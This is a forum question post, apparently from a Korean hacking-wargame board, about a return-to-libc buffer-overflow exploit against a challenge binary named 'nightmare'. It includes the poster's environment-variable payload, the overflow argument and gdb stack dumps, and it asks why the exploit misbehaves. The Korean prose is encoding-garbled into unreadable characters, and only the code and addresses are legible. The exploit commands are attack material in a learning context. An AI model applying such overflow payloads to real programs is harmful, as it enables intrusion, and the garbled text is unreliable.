http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_system&no=1981 [º¹»ç]
µµÀúÈ÷ ÀÌÇØ°¡ ¾È°¡¼ Áú¹®µå¸³´Ï´Ù
Á¦°¡ ¿øÇÏ´Â ½Ã³ª¸®¿À´Â,
strpy·Î 'AAAA'ÀÇ À§Ä¡¿¡ RTLÄڵ尡 µé¾îÀִ ȯ°æº¯¼öÀÇ ÁÖ¼Ò¸¦ º¹»çÇؼ strcpy°¡ ³¡³ ÈÄ ret½Ã RTLÀÌ ½ÇÇàµÇ°Ô ÇÏ´Â °Í ÀÔ´Ï´Ù.
ÀÏ´Ü RTL Äڵ尡 µé¾îÀִ ȯ°æº¯¼ö¸¦ ¸¸µì´Ï´Ù.
================================================
$ export WEAPON=`python -c 'print "\xe0\x8a\x05\x40"+"aaaa"+"\xf9\xbf\x0f\x40"+"\x90"*1000'`
================================================
"\x90"*1000 Àº Á¦°¡ ȯ°æº¯¼ö À§Ä¡¸¦ ã±â ÆíÇÏ°Ô ÇϱâÀ§ÇØ Ãß°¡Çß½À´Ï´Ù.
ÀÌÁ¦ºÎÅÍ ÆíÀÇ»ó ȯ°æº¯¼ö¸¦ "RTL ÄÚµå" ¶ó°í ºÎ¸£°Ú½À´Ï´Ù.
±×¸®°í core ÆÄÀÏ »ý¼ºÀ» À§ÇØ ¾Æ·¡ payload¸¦ ³Ö½À´Ï´Ù.
================================================
./nightmare `python -c 'print "a"*44+"\x10\x84\x04\x08"+"AAAA"+"BBBB"+"CCCC"+"DDDD"'`
================================================
1. "AAAA"´Â ¹®Á¦¿¡¼ ºÙ¿©ÁÖ´Â ¹®ÀÚ¿ ÀÔ´Ï´Ù.
2. "BBBB"´Â "AAAA"ÀÇ ÁÖ¼ÒÀÔ´Ï´Ù. RTL ÄÚµåÀÇ ÁÖ¼Ò·Î ¹Ù²î°Ô ÇÒ °ÍÀÔ´Ï´Ù.
3. "CCCC"´Â "DDDD"ÀÇ ÁÖ¼ÒÀÔ´Ï´Ù. strcpy()¿¡¼ CCCC¸¦ Æ÷ÀÎÅÍ·Î »ç¿ëÇϱ⠶§¹®¿¡ "AAAA"¿¡´Â "DDDD"°ªÀÌ µé¾î°¡°Ô µÉ°ÍÀÔ´Ï´Ù.
4. "DDDD"´Â RTL ÄÚµåÀÇ ÁÖ¼ÒÀÔ´Ï´Ù.
±×¸®°í gdb·Î core ÆÄÀÏÀ» ¿¾îº¾´Ï´Ù.
================================================
strcpy (dest=0x42424242 <Address 0x42424242 out of bounds>, src=0x43434343 <Address 0x43434343 out of bounds>)
at ../sysdeps/generic/strcpy.c:37
../sysdeps/generic/strcpy.c: No such file or directory.
================================================
ÀÏ´Ü strcpy.c °¡ ¾ø´Ù°í ¶å´Ï´Ù. (ÀÌ ¿À·ù°¡ ¿Ö ¶ß´ÂÁö´Â ¸ð¸£°Ú½À´Ï´Ù. óÀ½¿¡´Â gdb»ó¿¡¼ Á¢±ÙÀÌ ¾ÈµÇ±â ¶§¹®¿¡ Àú·± ¿À·ù°¡ ¶ß´Â°É·Î ¾Ë°íÀÖ¾ú´Âµ¥ strcpyÀÇ ÄÚµå´Â À߸¸ º¸¿©ÁÖ´õ±º¿ä;;)
¿©±â¼ ù¹ø°·Î ÀÌÇØ°¡ ¾ÈµÇ´Â ºÎºÐÀÔ´Ï´Ù.
================================================
(gdb) x/30wx $esp
0xbffff688: "0x4000ae60" 0x61616161 0x41414141 0x42424242
0xbffff698: 0x43434343 0x44444444 0x00000000 0x08048420
0xbffff6a8: 0x00000000 0x08048441 0x080486b4 0x00000002
0xbffff6b8: 0xbffff6d4 0x08048350 0x0804877c 0x4000ae60
0xbffff6c8: 0xbffff6cc 0x40013e90 0x00000002 0xbffff7e0
0xbffff6d8: 0xbffff7ec 0x00000000 0xbffff82d 0xbffff84a
0xbffff6e8: 0xbffff863 0xbffff882 0xbffffc7e 0xbffffca0
0xbffff6f8: 0xbffffcae 0xbffffe71
================================================
Á¦°¡ "·Î ¹¾î³õÀº ºÎºÐÀÔ´Ï´Ù.
Àú ÁÖ¼ÒÀÇ Äڵ带 º¸´Ï <_dl_fini> ºÎºÐÀ¸·Î ³ª¿À´õ±º¿ä.. ¿Ö °©ÀÚ±â Àú°Ô »ý°å´ÂÁö ¸ð¸£°Ú°í,
±× µÚÀÇ 4¹ÙÀÌÆ®¸¦ º¸½Ã¸é 0x61616161 ÀÌ µé¾îÀÖ½À´Ï´Ù. ¿ø·¡ strcpy@plt ÀÚ¸®¿¡ ¸»ÀÌÁÒ.
À̰͸»°íµµ ÀÌÇØ°¡ ¾ÈµÇ´Â ºÎºÐÀÌ ´õ Àִµ¥, ±ÛÀ» ¾²´Ùº¸´Ï ÀÌ ¹®Á¦¸¦ ¸ÕÀú ÇØ°áÇÏ°í ³ª¼ »ðÁúÀ» ´õ ÇغÁ¾ß°Ú´Ù´Â »ý°¢¿¡ ÀÏ´Ü ¿©±â±îÁö¸¸ Áú¹®µå·Áº¾´Ï´Ù.
¼Å¥¹ö½ºÇÑÅ× Á¦´ë·Î °É¸° °Í °°½À´Ï´Ù ¤Ð¤Ð¤Ð here to stay.....
|
Hit : 1648 Date : 2019/09/26 08:15
|